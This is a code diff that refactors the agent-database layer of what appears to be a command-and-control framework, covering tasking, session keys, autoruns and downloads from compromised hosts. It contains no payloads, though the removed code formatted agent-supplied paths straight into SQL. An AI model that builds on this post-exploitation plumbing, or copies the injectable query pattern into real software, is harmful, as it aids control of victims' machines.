301303 if not dec_data['crc32_check']:
302 message = "[!] WARNING: File agent {} failed crc32 check during decompression!\n[!] HEADER: Start crc32: %s -- Received crc32: %s -- Crc32 pass: %s!".format(nameid, dec_data['header_crc32'], dec_data['dec_crc32'], dec_data['crc32_check'])
304 message = "[!] WARNING: File agent {} failed crc32 check during decompression!\n[!] HEADER: Start crc32: %s -- Received crc32: %s -- Crc32 pass: %s!".format(
305 nameid, dec_data['header_crc32'], dec_data['dec_crc32'], dec_data['crc32_check'])
303306 signal = json.dumps({
304307 'print': True,
305308 'message': message
312315 finally:
313316 self.lock.release()
314317
315 percent = round(int(os.path.getsize("%s/%s" % (save_path, filename)))/int(filesize)*100,2)
318 percent = round(int(os.path.getsize("%s/%s" % (save_path, filename))) / int(filesize) * 100, 2)
316319
317320 # notify everyone that the file was downloaded
318321 message = "[+] Part of file {} from {} saved [{}%] to {}".format(filename, sessionID, percent, save_path)
337340
338341 # decompress data if coming from a python agent:
339342 if "python" in lang:
340 print(helpers.color("\n[*] Compressed size of %s download: %s" %(filename, helpers.get_file_size(data)), color="green"))
343 print(helpers.color("\n[*] Compressed size of %s download: %s" % (filename, helpers.get_file_size(data)),
344 color="green"))
341345 d = decompress.decompress()
342346 dec_data = d.dec_data(data)
343 print(helpers.color("[*] Final size of %s wrote: %s" %(filename, helpers.get_file_size(dec_data['data'])), color="green"))
347 print(helpers.color("[*] Final size of %s wrote: %s" % (filename, helpers.get_file_size(dec_data['data'])),
348 color="green"))
344349 if not dec_data['crc32_check']:
345 message = "[!] WARNING: File agent {} failed crc32 check during decompression!\n[!] HEADER: Start crc32: %s -- Received crc32: %s -- Crc32 pass: %s!".format(sessionID, dec_data['header_crc32'], dec_data['dec_crc32'], dec_data['crc32_check'])
350 message = "[!] WARNING: File agent {} failed crc32 check during decompression!\n[!] HEADER: Start crc32: %s -- Received crc32: %s -- Crc32 pass: %s!".format(
351 sessionID, dec_data['header_crc32'], dec_data['dec_crc32'], dec_data['crc32_check'])
346352 signal = json.dumps({
347353 'print': True,
348354 'message': message
355361 # fix for 'skywalker' exploit by @zeroSteiner
356362 safePath = os.path.abspath("%s/downloads/" % self.installPath)
357363 if not os.path.abspath(save_path + "/" + filename).startswith(safePath):
358 message = "[!] WARNING: agent {} attempted skywalker exploit!\n[!] attempted overwrite of {} with data {}".format(sessionID, path, data)
364 message = "[!] WARNING: agent {} attempted skywalker exploit!\n[!] attempted overwrite of {} with data {}".format(
365 sessionID, path, data)
359366 signal = json.dumps({
360367 'print': True,
361368 'message': message
385392
386393 return "/downloads/%s/%s/%s" % (sessionID, "/".join(parts[0:-1]), filename)
387394
388
389395 def save_agent_log(self, sessionID, data):
390396 """
391397 Save the agent console output to the agent's log file.
392398 """
393399 if isinstance(data, bytes):
394 data = data.decode('UTF-8')
400 data = data.decode('UTF-8')
395401 name = self.get_agent_name_db(sessionID)
396402 save_path = self.installPath + "/downloads/" + str(name) + "/"
397403
404 # make the recursive directory structure if it doesn't already exist
405 if not os.path.exists(save_path):
406 os.makedirs(save_path)
407
408 current_time = helpers.get_datetime()
409
398410 try:
399411 self.lock.acquire()
400 # make the recursive directory structure if it doesn't already exist
401 if not os.path.exists(save_path):
402 os.makedirs(save_path)
403
404 current_time = helpers.get_datetime()
405412
406413 f = open("%s/agent.log" % (save_path), 'a')
407414 f.write("\n" + current_time + " : " + "\n")
408415 f.write(data + "\n")
409416 f.close()
410417 finally:
418
411419 self.lock.release()
412
413420
414421 ###############################################################
415422 #
417424 #
418425 ###############################################################
419426
420 def is_agent_elevated(self, sessionID):
427 def is_agent_elevated(self, session_id):
421428 """
422429 Check whether a specific sessionID is currently elevated.
423
430 =
424431 This means root for OS X/Linux and high integrity for Windows.
425432 """
426433
427434 # see if we were passed a name instead of an ID
428 nameid = self.get_agent_id_db(sessionID)
435 nameid = self.get_agent_id_db(session_id)
429436 if nameid:
430 sessionID = nameid
431
432 conn = self.get_db_connection()
433 try:
434 self.lock.acquire()
435 cur = conn.cursor()
436 cur.execute("SELECT high_integrity FROM agents WHERE session_id=?", [sessionID])
437 elevated = cur.fetchone()
438 cur.close()
439 finally:
440 self.lock.release()
441
442 if elevated and elevated != None and elevated != ():
443 return int(elevated[0]) == 1
444 else:
445 return False
446
437 session_id = nameid
438
439 elevated = Session().query(models.Agent.high_integrity).filter(models.Agent.session_id == session_id).scalar()
440
441 return elevated is True
447442
448443 def get_agents_db(self):
449444 """
450445 Return all active agents from the database.
451446 """
452 conn = self.get_db_connection()
453 results = None
454 try:
455 self.lock.acquire()
456 oldFactory = conn.row_factory
457 conn.row_factory = helpers.dict_factory # return results as a dictionary
458 cur = conn.cursor()
459 cur.execute("SELECT * FROM agents")
460 results = cur.fetchall()
461 cur.close()
462 conn.row_factory = oldFactory
463 finally:
464 self.lock.release()
447 results = Session().query(models.Agent).all()
465448
466449 return results
467450
468
469451 def get_agent_names_db(self):
470452 """
471453 Return all names of active agents from the database.
472454 """
473
474 conn = self.get_db_connection()
475 try:
476 self.lock.acquire()
477 cur = conn.cursor()
478 cur.execute("SELECT name FROM agents")
479 results = cur.fetchall()
480 cur.close()
481 finally:
482 self.lock.release()
455 results = Session().query(models.Agent.name).all()
483456
484457 # make sure names all ascii encoded
485458 results = [r[0].encode('ascii', 'ignore') for r in results]
486459 return results
487460
488
489461 def get_agent_ids_db(self):
490462 """
491463 Return all IDs of active agents from the database.
492464 """
493
494 conn = self.get_db_connection()
495 try:
496 self.lock.acquire()
497 cur = conn.cursor()
498 cur.execute("SELECT session_id FROM agents")
499 results = cur.fetchall()
500 cur.close()
501 finally:
502 self.lock.release()
465 results = Session().query(models.Agent.session_id).all()
503466
504467 # make sure names all ascii encoded
505468 results = [str(r[0]).encode('ascii', 'ignore') for r in results if r]
506469 return results
507470
508
509 def get_agent_db(self, sessionID):
471 def get_agent_db(self, session_id):
510472 """
511473 Return complete information for the specified agent from the database.
512474 """
513
514 conn = self.get_db_connection()
515
516 try:
517 self.lock.acquire()
518 oldFactory = conn.row_factory
519 conn.row_factory = helpers.dict_factory # return results as a dictionary
520 cur = conn.cursor()
521 cur.execute("SELECT * FROM agents WHERE session_id = ? OR name = ?", [sessionID, sessionID])
522 agent = cur.fetchone()
523 cur.close()
524 conn.row_factory = oldFactory
525 finally:
526 self.lock.release()
475 agent = Session().query(models.Agent).filter(or_(models.Agent.session_id == session_id,
476 models.Agent.name == session_id)).first()
527477
528478 return agent
529479
530
531 def get_agent_nonce_db(self, sessionID):
480 def get_agent_nonce_db(self, session_id):
532481 """
533482 Return the nonce for this sessionID.
534483 """
535484
536 conn = self.get_db_connection()
537 try:
538 self.lock.acquire()
539 cur = conn.cursor()
540 cur.execute("SELECT nonce FROM agents WHERE session_id=?", [sessionID])
541 nonce = cur.fetchone()
542 cur.close()
543 finally:
544 self.lock.release()
485 nonce = Session().query(models.Agent.nonce).filter(models.Agent.session_id == session_id).first()
545486
546487 if nonce and nonce is not None:
547488 if type(nonce) is str:
549490 else:
550491 return nonce[0]
551492
552
553 def get_language_db(self, sessionID):
493 def get_language_db(self, session_id):
554494 """
555495 Return the language used by this agent.
556496 """
557
558497 # see if we were passed a name instead of an ID
559 nameid = self.get_agent_id_db(sessionID)
560 if nameid:
561 sessionID = nameid
562
563 conn = self.get_db_connection()
564 try:
565 self.lock.acquire()
566 cur = conn.cursor()
567 cur.execute("SELECT language FROM agents WHERE session_id=?", [sessionID])
568 language = cur.fetchone()
569 cur.close()
570 finally:
571 self.lock.release()
572
573 if language is not None:
574 if isinstance(language, str):
575 return language
576 else:
577 return language[0]
578
579
580 def get_language_version_db(self, sessionID):
498 name_id = self.get_agent_id_db(session_id)
499 if name_id:
500 session_id = name_id
501
502 language = Session().query(models.Agent.language).filter(models.Agent.session_id == session_id).scalar()
503
504 return language
505
506 def get_language_version_db(self, session_id):
581507 """
582508 Return the language version used by this agent.
583509 """
584
585510 # see if we were passed a name instead of an ID
586 nameid = self.get_agent_id_db(sessionID)
587 if nameid:
588 sessionID = nameid
589
590 conn = self.get_db_connection()
591 try:
592 self.lock.acquire()
593 cur = conn.cursor()
594 cur.execute("SELECT language_version FROM agents WHERE session_id=?", [sessionID])
595 language = cur.fetchone()
596 cur.close()
597 finally:
598 self.lock.release()
599
600 if language is not None:
601 if isinstance(language, str):
602 return language
603 else:
604 return language[0]
605
606
607 def get_agent_session_key_db(self, sessionID):
511 name_id = self.get_agent_id_db(session_id)
512 if name_id:
513 session_id = name_id
514
515 language_version = Session().query(models.Agent.language_version).filter(
516 models.Agent.session_id == session_id).scalar()
517
518 return language_version
519
520 def get_agent_session_key_db(self, session_id):
608521 """
609522 Return AES session key from the database for this sessionID.
610523 """
611524
612 conn = self.get_db_connection()
613 try:
614 self.lock.acquire()
615 cur = conn.cursor()
616 cur.execute("SELECT session_key FROM agents WHERE session_id = ? OR name = ?", [sessionID, sessionID])
617 sessionKey = cur.fetchone()
618 cur.close()
619 finally:
620 self.lock.release()
621
622 if sessionKey is not None:
623 if isinstance(sessionKey, str):
624 return sessionKey
625 else:
626 return sessionKey[0]
627
628
629 def get_agent_results_db(self, sessionID):
525 agent = Session().query(models.Agent).filter(
526 or_(models.Agent.session_id == session_id, models.Agent.name == session_id)).first()
527
528 if agent is not None:
529 return agent.session_key
530
531 def get_agent_results_db(self, session_id):
630532 """
631533 Return agent results from the backend database.
632534 """
633 agent_name = sessionID
535 agent_name = session_id
634536
635537 # see if we were passed a name instead of an ID
636 nameid = self.get_agent_id_db(sessionID)
637 if nameid:
638 sessionID = nameid
639
640 if sessionID not in self.agents:
538 name_id = self.get_agent_id_db(session_id)
539 if name_id:
540 session_id = name_id
541
542 if session_id not in self.agents:
641543 print(helpers.color("[!] Agent %s not active." % (agent_name)))
642544 else:
643 conn = self.get_db_connection()
644 try:
645 self.lock.acquire()
646 cur = conn.cursor()
647 cur.execute("SELECT results FROM agents WHERE session_id=?", [sessionID])
648 results = cur.fetchone()
649
650 cur.execute("UPDATE agents SET results=? WHERE session_id=?", ['', sessionID])
651 cur.close()
652 finally:
653 self.lock.release()
654
655 if results and results[0] and results[0] != '':
656 out = json.loads(results[0])
545 agent = Session().query(models.Agent).filter(models.Agent.session_id == session_id).first()
546 results = agent.results
547 agent.results = ''
548 Session().commit()
549
550 if results and results != '':
551 out = json.loads(results)
657552 if out:
658553 return "\n".join(out)
659554 else:
660555 return ''
661556
662
663557 def get_agent_id_db(self, name):
664558 """
665559 Get an agent sessionID based on the name.
666560 """
667561
668 conn = self.get_db_connection()
669 try:
670 self.lock.acquire()
671 cur = conn.cursor()
672 cur.execute("SELECT session_id FROM agents WHERE name=?", [name])
673 results = cur.fetchone()
674 cur.close()
675 finally:
676 self.lock.release()
677 if results:
678 return results[0]
562 agent = Session().query(models.Agent).filter((models.Agent.name == name)).first()
563
564 if agent:
565 return agent.session_id
679566 else:
680567 return None
681568
682
683 def get_agent_name_db(self, sessionID):
569 def get_agent_name_db(self, session_id):
684570 """
685571 Return an agent name based on sessionID.
686572 """
687
688 conn = self.get_db_connection()
689 try:
690 self.lock.acquire()
691 cur = conn.cursor()
692 cur.execute("SELECT name FROM agents WHERE session_id = ? or name = ?", [sessionID, sessionID])
693 results = cur.fetchone()
694 cur.close()
695 finally:
696 self.lock.release()
697
698 if results:
699 return results[0]
573 agent = Session().query(models.Agent).filter(
574 or_(models.Agent.session_id == session_id, models.Agent.name == session_id)).first()
575
576 if agent:
577 return agent.name
700578 else:
701579 return None
702580
703
704 def get_agent_hostname_db(self, sessionID):
581 def get_agent_hostname_db(self, session_id):
705582 """
706583 Return an agent's hostname based on sessionID.
707584 """
708
709 conn = self.get_db_connection()
710 try:
711 self.lock.acquire()
712 cur = conn.cursor()
713 cur.execute("SELECT hostname FROM agents WHERE session_id=? or name=?", [sessionID, sessionID])
714 results = cur.fetchone()
715 cur.close()
716 finally:
717 self.lock.release()
718
719 if results:
720 return results[0]
585 agent = Session().query(models.Agent).filter(
586 or_(models.Agent.session_id == session_id, models.Agent.name == session_id)).first()
587
588 if agent:
589 return agent.hostname
721590 else:
722591 return None
723592
724
725 def get_agent_os_db(self, sessionID):
593 def get_agent_os_db(self, session_id):
726594 """
727595 Return an agent's operating system details based on sessionID.
728596 """
729
730 conn = self.get_db_connection()
731 try:
732 self.lock.acquire()
733 cur = conn.cursor()
734 cur.execute("SELECT os_details FROM agents WHERE session_id=? or name=?", [sessionID, sessionID])
735 results = cur.fetchone()
736 cur.close()
737 finally:
738 self.lock.release()
739
740 if results:
741 return results[0]
597 agent = Session().query(models.Agent).filter(
598 or_(models.Agent.session_id == session_id, models.Agent.name == session_id)).first()
599
600 if agent:
601 return agent.os_details
742602 else:
743603 return None
744604
745
746 def get_agent_functions(self, sessionID):
605 def get_agent_functions(self, session_id):
747606 """
748607 Get the tab-completable functions for an agent.
749608 """
750609
751610 # see if we were passed a name instead of an ID
752 nameid = self.get_agent_id_db(sessionID)
753 if nameid:
754 sessionID = nameid
611 name_id = self.get_agent_id_db(session_id)
612 if name_id:
613 session_id = name_id
755614
756615 results = []
757616
758 try:
759 self.lock.acquire()
760 if sessionID in self.agents:
761 results = self.agents[sessionID]['functions']
762 finally:
763 self.lock.release()
617 if session_id in self.agents:
618 results = self.agents[session_id]['functions']
764619
765620 return results
766621
767
768 def get_agent_functions_db(self, sessionID):
622 def get_agent_functions_db(self, session_id):
769623 """
770624 Return the tab-completable functions for an agent from the database.
771625 """
772
773 conn = self.get_db_connection()
774 try:
775 self.lock.acquire()
776 cur = conn.cursor()
777 cur.execute("SELECT functions FROM agents WHERE session_id=? OR name=?", [sessionID, sessionID])
778 functions = cur.fetchone()
779 cur.close()
780 finally:
781 self.lock.release()
782
783 if functions is not None and functions[0] is not None:
784 return functions[0].split(',')
626 agent = Session().query(models.Agent).filter(
627 or_(models.Agent.session_id == session_id, models.Agent.name == session_id)).first()
628
629 if agent.functions is not None:
630 return agent.functions.split(',')
785631 else:
786632 return []
787633
788
789 def get_agents_for_listener(self, listenerName):
634 def get_agents_for_listener(self, listener_name):
790635 """
791636 Return agent objects linked to a given listener name.
792637 """
793
794 conn = self.get_db_connection()
795 try:
796 self.lock.acquire()
797 cur = conn.cursor()
798 cur.execute("SELECT session_id FROM agents WHERE listener=?", [listenerName])
799 results = cur.fetchall()
800 cur.close()
801 finally:
802 self.lock.release()
803
804 # make sure names all ascii encoded
805 results = [r[0].encode('ascii', 'ignore') for r in results]
638 agents = Session().query(models.Agent.session_id).filter(models.Agent.listener == listener_name).all()
639
640 if agents:
641 # make sure names all ascii encoded
642 results = [r[0].encode('ascii', 'ignore') for r in agents]
643 else:
644 results = []
645
806646 return results
807647
808
809 def get_agent_names_listener_db(self, listenerName):
648 def get_agent_names_listener_db(self, listener_name):
810649 """
811650 Return agent names linked to the given listener name.
812651 """
813652
814 conn = self.get_db_connection()
815
816 try:
817 self.lock.acquire()
818 oldFactory = conn.row_factory
819 conn.row_factory = helpers.dict_factory # return results as a dictionary
820 cur = conn.cursor()
821 cur.execute("SELECT * FROM agents WHERE listener=?", [listenerName])
822 agents = cur.fetchall()
823 cur.close()
824 conn.row_factory = oldFactory
825 finally:
826 self.lock.release()
653 agents = Session().query(models.Agent).filter(models.Agent.listener == listener_name).all()
827654
828655 return agents
829656
830
831657 def get_autoruns_db(self):
832658 """
833659 Return any global script autoruns.
834660 """
835
836 conn = self.get_db_connection()
837
838 autoruns = None
839
840 try:
841 self.lock.acquire()
842 cur = conn.cursor()
843 cur.execute("SELECT autorun_command FROM config")
844 results = cur.fetchone()
845 if results:
846 autorun_command = results[0]
847 else:
848 autorun_command = ''
849
850 cur = conn.cursor()
851 cur.execute("SELECT autorun_data FROM config")
852 results = cur.fetchone()
853 if results:
854 autorun_data = results[0]
855 else:
856 autorun_data = ''
857 cur.close()
858 autoruns = [autorun_command, autorun_data]
859 finally:
860 self.lock.release()
661 results = Session().query(models.Config.autorun_command).all()
662 if results[0].autorun_command:
663 autorun_command = results[0].autorun_command
664 else:
665 autorun_command = ''
666
667 results = Session().query(models.Config.autorun_data).all()
668 if results[0].autorun_data:
669 autorun_data = results[0].autorun_data
670 else:
671 autorun_data = ''
672
673 autoruns = [autorun_command, autorun_data]
861674
862675 return autoruns
863676
875688 session_id = name_id
876689
877690 if session_id in self.agents:
878 conn = self.get_db_connection()
879 old_factory = conn.row_factory
880 conn.row_factory = sqlite3.Row
881 try:
882 self.lock.acquire()
883 cur = conn.cursor()
884
885 # get existing files/dir that are in this directory.
886 # delete them and their children to keep everything up to date. There's a cascading delete on the table.
887 this_directory = cur.execute("SELECT * FROM file_directory where session_id = ? and path = ?",
888 [session_id, response['directory_path']]).fetchone()
889 if this_directory:
890 cur.execute("DELETE FROM file_directory WHERE session_id = ? and parent_id = ?",
891 [session_id, this_directory['id']])
892 else: # if the directory doesn't exist we have to create one
893 # parent is None for now even though it might have one. This is self correcting.
894 # If it's true parent is scraped, then this entry will get rewritten
895 cur.execute("INSERT INTO file_directory ('name', 'path', 'parent_id', 'is_file', 'session_id')VALUES ('{0}', '{1}', '{2}', '{3}', '{4}')"
896 .format(response['directory_name'], response['directory_path'], None, 0, session_id))
897 this_directory = cur.execute("SELECT * FROM file_directory where session_id = ? and path = ?",
898 [session_id, response['directory_path']]).fetchone()
899
900 delete = ""
901 insert = "INSERT INTO file_directory ('name', 'path', 'parent_id', 'is_file', 'session_id') VALUES "
902 insert_arr = []
903 # insert all the new items
904 for item in response['items']:
905 # Delete it if its already there so that we can be self correcting
906 delete += f"\nDELETE FROM file_directory WHERE session_id = '{session_id}' AND path = '{item['path']}';"
907 insert_arr.append(f"('{item['name']}', '{item['path']}', '{None if not this_directory else this_directory['id']}', '{1 if item['is_file'] is True else 0}', '{session_id}')")
908
909 if len(insert_arr) > 0:
910 cur.executescript(delete)
911 cur.execute(insert + ','.join(insert_arr) + ';')
912 cur.close()
913 finally:
914 conn.row_factory = old_factory
915 self.lock.release()
916
917 def update_agent_results_db(self, sessionID, results):
691 # get existing files/dir that are in this directory.
692 # delete them and their children to keep everything up to date. There's a cascading delete on the table.
693 this_directory = Session().query(models.AgentFile).filter(and_(
694 models.AgentFile.session_id == session_id),
695 models.AgentFile.path == response['directory_path']).first()
696 if this_directory:
697 Session().query(models.AgentFile).filter(and_(
698 models.AgentFile.session_id == session_id,
699 models.AgentFile.parent_id == this_directory.id)).delete()
700 else: # if the directory doesn't exist we have to create one
701 # parent is None for now even though it might have one. This is self correcting.
702 # If it's true parent is scraped, then this entry will get rewritten
703 this_directory = models.AgentFile(
704 name=response['directory_name'],
705 path=response['directory_path'],
706 parent_id=None,
707 is_file=False,
708 session_id=session_id
709 )
710 Session().add(this_directory)
711 Session().flush()
712
713 for item in response['items']:
714 Session().query(models.AgentFile).filter(and_(
715 models.AgentFile.session_id == session_id,
716 models.AgentFile.path == item['path'])).delete()
717 Session().add(models.AgentFile(
718 name=item['name'],
719 path=item['path'],
720 parent_id=None if not this_directory else this_directory.id,
721 is_file=item['is_file'],
722 session_id=session_id))
723
724 Session().commit()
725
726 def update_agent_results_db(self, session_id, results):
918727 """
919728 Update agent results in the database.
920729 """
923732 if isinstance(results, bytes):
924733 results = results.decode('UTF-8')
925734
926 nameid = self.get_agent_id_db(sessionID)
927 if nameid:
928 sessionID = nameid
929
930 if sessionID in self.agents:
931 conn = self.get_db_connection()
932 try:
933 self.lock.acquire()
934 cur = conn.cursor()
935
936 # get existing agent results
937 cur.execute("SELECT results FROM agents WHERE session_id LIKE ?", [sessionID])
938 agent_results = cur.fetchone()
939 if agent_results and agent_results[0]:
940 agent_results = json.loads(agent_results[0])
941 else:
942 agent_results = []
943
944 agent_results.append(results)
945 cur.execute("UPDATE agents SET results=? WHERE session_id=?", [json.dumps(agent_results), sessionID])
946 cur.close()
947 finally:
948 self.lock.release()
735 name_id = self.get_agent_id_db(session_id)
736 if name_id:
737 session_id = name_id
738
739 if session_id in self.agents:
740 agent = Session().query(models.Agent).filter(models.Agent.session_id == session_id).first()
741
742 # todo: caching the results in a single column on the agent is the source of a lot of slowness. Remove this in the next major release.
743 if agent.results:
744 agent_results = json.loads(agent.results)
745 else:
746 agent_results = []
747 if len(agent_results) > 4:
748 del agent_results[0]
749
750 agent_results.append(results)
751 agent.results = json.dumps(agent_results)
752 Session().commit()
753
949754 else:
950 message = "[!] Non-existent agent %s returned results".format(sessionID)
755 message = "[!] Non-existent agent %s returned results".format(session_id)
951756 signal = json.dumps({
952757 'print': True,
953758 'message': message
954759 })
955 dispatcher.send(signal, sender="agents/{}".format(sessionID))
956
957
958 def update_agent_sysinfo_db(self, sessionID, listener='', external_ip='', internal_ip='', username='', hostname='', os_details='', high_integrity=0, process_name='', process_id='', language_version='', language=''):
760 dispatcher.send(signal, sender="agents/{}".format(session_id))
761
762 def update_agent_sysinfo_db(self, session_id, listener='', external_ip='', internal_ip='', username='', hostname='',
763 os_details='', high_integrity=0, process_name='', process_id='', language_version='',
764 language=''):
959765 """
960766 Update an agent's system information.
961767 """
962768
963769 # see if we were passed a name instead of an ID
964 nameid = self.get_agent_id_db(sessionID)
770 nameid = self.get_agent_id_db(session_id)
965771 if nameid:
966 sessionID = nameid
967
968 conn = self.get_db_connection()
969 try:
970 self.lock.acquire()
971 cur = conn.cursor()
972 cur.execute("UPDATE agents SET internal_ip = ?, username = ?, hostname = ?, os_details = ?, high_integrity = ?, process_name = ?, process_id = ?, language_version = ?, language = ? WHERE session_id=?", [internal_ip, username, hostname, os_details, high_integrity, process_name, process_id, language_version, language, sessionID])
973 cur.close()
974 finally:
975 self.lock.release()
976
977
978 def update_agent_lastseen_db(self, sessionID, current_time=None):
772 session_id = nameid
773
774 agent = Session().query(models.Agent).filter(models.Agent.session_id == session_id).first()
775
776 agent.internal_ip = internal_ip.split(" ")[0]
777 agent.username = username
778 agent.hostname = hostname
779 agent.os_details = os_details
780 agent.high_integrity = high_integrity
781 agent.process_name = process_name
782 agent.process_id = process_id
783 agent.language_version = language_version
784 agent.language = language
785
786 Session().commit()
787
788 def update_agent_lastseen_db(self, session_id, current_time=None):
979789 """
980790 Update the agent's last seen timestamp in the database.
981791 """
982792
983793 if not current_time:
984794 current_time = helpers.getutcnow()
985 conn = self.get_db_connection()
986 try:
987 self.lock.acquire()
988 cur = conn.cursor()
989 cur.execute("UPDATE agents SET lastseen_time=? WHERE session_id=? OR name=?", [current_time, sessionID, sessionID])
990 cur.close()
991 finally:
992 self.lock.release()
993
994
995 def update_agent_listener_db(self, sessionID, listenerName):
795
796 agent = Session().query(models.Agent).filter(
797 or_(models.Agent.session_id == session_id, models.Agent.name == session_id)).first()
798 agent.lastseen_time = current_time
799 Session.commit()
800
801 def update_agent_listener_db(self, session_id, listener_name):
996802 """
997803 Update the specified agent's linked listener name in the database.
998804 """
999805
1000 conn = self.get_db_connection()
1001 try:
1002 self.lock.acquire()
1003 cur = conn.cursor()
1004 cur.execute("UPDATE agents SET listener=? WHERE session_id=? OR name=?", [listenerName, sessionID, sessionID])
1005 cur.close()
1006 finally:
1007 self.lock.release()
1008
1009
1010 def rename_agent(self, oldname, newname):
806 agent = Session().query(models.Agent).filter(
807 or_(models.Agent.session_id == session_id, models.Agent.name == session_id)).first()
808 agent.listener = listener_name
809 Session.commit()
810
811 def rename_agent(self, old_name, new_name):
1011812 """
1012813 Rename a given agent from 'oldname' to 'newname'.
1013814 """
1014815
1015 if not newname.isalnum():
816 if not new_name.isalnum():
1016817 print(helpers.color("[!] Only alphanumeric characters allowed for names."))
1017818 return False
1018819
1019 conn = self.get_db_connection()
820 # rename the logging/downloads folder
821 old_path = "%s/downloads/%s/" % (self.installPath, old_name)
822 new_path = "%s/downloads/%s/" % (self.installPath, new_name)
823 ret_val = True
824
825 # check if the folder is already used
826 if os.path.exists(new_path):
827 print(helpers.color("[!] Name already used by current or past agent."))
828 ret_val = False
829 else:
830 # move the old folder path to the new one
831 if os.path.exists(old_path):
832 os.rename(old_path, new_path)
833
834 # rename the agent in the database
835 agent = Session().query(models.Agent).filter(models.Agent.name == old_name).first()
836 agent.name = new_name
837
838 # change tasking and results to new agent
839 # maybe not needed
840 # taskings = Session().query(models.Tasking).filter(models.Tasking.agent == old_name).all()
841 # results = Session().query(models.Result).filter(models.Result.agent == old_name).all()
842 #
843 # if taskings:
844 # for x in range(len(taskings)):
845 # taskings[x].agent = new_name
846 #
847 # if results:
848 # for x in range(len(results)):
849 # results[x].agent = new_name
850
851 Session.commit()
852 ret_val = True
853
854 # signal in the log that we've renamed the agent
855 self.save_agent_log(old_name, "[*] Agent renamed from %s to %s" % (old_name, new_name))
856
857 return ret_val
858
859 def set_agent_field_db(self, field, value, session_id):
860 """
861 Set field:value for a particular sessionID in the database.
862 """
863 # todo refactor this method out. A session commit per column is painfully inefficient.
864 agent = Session().query(models.Agent).filter(
865 or_(models.Agent.session_id == session_id, models.Agent.name == session_id)).first()
866
867 agent[field] = value
868
869 Session.commit()
870
871 def set_agent_functions_db(self, session_id, functions):
872 """
873 Set the tab-completable functions for the agent in the database.
874 """
875
876 # see if we were passed a name instead of an ID
877 name_id = self.get_agent_id_db(session_id)
878 if name_id:
879 session_id = name_id
880
881 if session_id in self.agents:
882 self.agents[session_id]['functions'] = functions
883
884 functions = ','.join(functions)
885
886 agent = Session().query(models.Agent).filter(models.Agent.session_id == session_id).first()
887 agent.functions = functions
888 Session.commit()
889
890 def set_autoruns_db(self, task_command, module_data):
891 """
892 Set the global script autorun in the config in the database.
893 """
1020894 try:
1021 self.lock.acquire()
1022 # rename the logging/downloads folder
1023 oldPath = "%s/downloads/%s/" % (self.installPath, oldname)
1024 newPath = "%s/downloads/%s/" % (self.installPath, newname)
1025 retVal = True
1026
1027 # check if the folder is already used
1028 if os.path.exists(newPath):
1029 print(helpers.color("[!] Name already used by current or past agent."))
1030 retVal = False
1031 else:
1032 # move the old folder path to the new one
1033 if os.path.exists(oldPath):
1034 os.rename(oldPath, newPath)
1035
1036 # rename the agent in the database
1037 cur = conn.cursor()
1038 cur.execute("UPDATE agents SET name=? WHERE name=?", [newname, oldname])
1039 events.agent_rename(oldname, newname)
1040 cur.close()
1041
1042 retVal = True
1043 finally:
1044 self.lock.release()
1045
1046 # signal in the log that we've renamed the agent
1047 self.save_agent_log(oldname, "[*] Agent renamed from %s to %s" % (oldname, newname))
1048
1049 return retVal
1050
1051 def set_agent_field_db(self, field, value, sessionID):
1052 """
1053 Set field:value for a particular sessionID in the database.
1054 """
1055
1056 conn = self.get_db_connection()
1057 cur = conn.cursor()
1058 cur.execute("UPDATE agents SET " + str(field) + "=? WHERE session_id=? OR name=?", [value, sessionID, sessionID])
1059 cur.close()
1060
1061
1062 def set_agent_functions_db(self, sessionID, functions):
1063 """
1064 Set the tab-completable functions for the agent in the database.
1065 """
1066
1067 # see if we were passed a name instead of an ID
1068 nameid = self.get_agent_id_db(sessionID)
1069 if nameid:
1070 sessionID = nameid
1071
1072 if sessionID in self.agents:
1073 self.agents[sessionID]['functions'] = functions
1074
1075 functions = ','.join(functions)
1076
1077 conn = self.get_db_connection()
1078 cur = conn.cursor()
1079 cur.execute("UPDATE agents SET functions=? WHERE session_id=?", [functions, sessionID])
1080 cur.close()
1081
1082
1083 def set_autoruns_db(self, taskCommand, moduleData):
1084 """
1085 Set the global script autorun in the config in the database.
1086 """
1087
1088 try:
1089 conn = self.get_db_connection()
1090 cur = conn.cursor()
1091 cur.execute("UPDATE config SET autorun_command=?", [taskCommand])
1092 cur.execute("UPDATE config SET autorun_data=?", [moduleData])
1093 cur.close()
895 config = Session().query(models.Config).first()
896 config.autorun_command = task_command
897 config.autorun_data = module_data
898 Session().commit()
1094899 except Exception:
1095 print(helpers.color("[!] Error: script autoruns not a database field, run ./setup_database.py to reset DB schema."))
900 print(helpers.color(
901 "[!] Error: script autoruns not a database field, run ./setup_database.py to reset DB schema."))
1096902 print(helpers.color("[!] Warning: this will reset ALL agent connections!"))
1097903
1098
1099904 def clear_autoruns_db(self):
1100905 """
1101906 Clear the currently set global script autoruns in the config in the database.
1102907 """
1103
1104 conn = self.get_db_connection()
1105 try:
1106 self.lock.acquire()
1107 cur = conn.cursor()
1108 cur.execute("UPDATE config SET autorun_command=''")
1109 cur.execute("UPDATE config SET autorun_data=''")
1110 cur.close()
1111 finally:
1112 self.lock.release()
1113
908 config = Session().query(models.Config).first()
909 config.autorun_command = ''
910 config.autorun_data = ''
911 Session().commit()
1114912
1115913 ###############################################################
1116914 #
1118916 #
1119917 ###############################################################
1120918
1121 def add_agent_task_db(self, sessionID, taskName, task='', moduleName=None, uid=None):
919 def add_agent_task_db(self, session_id, task_name, task='', moduleName=None, uid=1):
1122920 """
1123921 Add a task to the specified agent's buffer in the database.
1124922 """
1125 agentName = sessionID
923 agent_name = session_id
1126924 # see if we were passed a name instead of an ID
1127 nameid = self.get_agent_id_db(sessionID)
925 name_id = self.get_agent_id_db(session_id)
1128926 timestamp = helpers.getutcnow()
1129927
1130 if nameid:
1131 sessionID = nameid
1132
1133 if sessionID not in self.agents:
1134 print(helpers.color("[!] Agent %s not active." % (agentName)))
928 if name_id:
929 session_id = name_id
930
931 if session_id not in self.agents:
932 print(helpers.color("[!] Agent %s not active." % agent_name))
1135933 else:
1136 if sessionID:
1137 message = "[*] Tasked {} to run {}".format(sessionID, taskName)
934 if session_id:
935 message = "[*] Tasked {} to run {}".format(session_id, task_name)
1138936 signal = json.dumps({
1139937 'print': True,
1140938 'message': message
1141939 })
1142 dispatcher.send(signal, sender="agents/{}".format(sessionID))
1143
1144 conn = self.get_db_connection()
940 dispatcher.send(signal, sender="agents/{}".format(session_id))
941
942 # get existing agent taskings
943 agent = Session().query(models.Agent).filter(models.Agent.session_id == session_id).first()
944 agent_tasks = []
945
946 if agent.taskings:
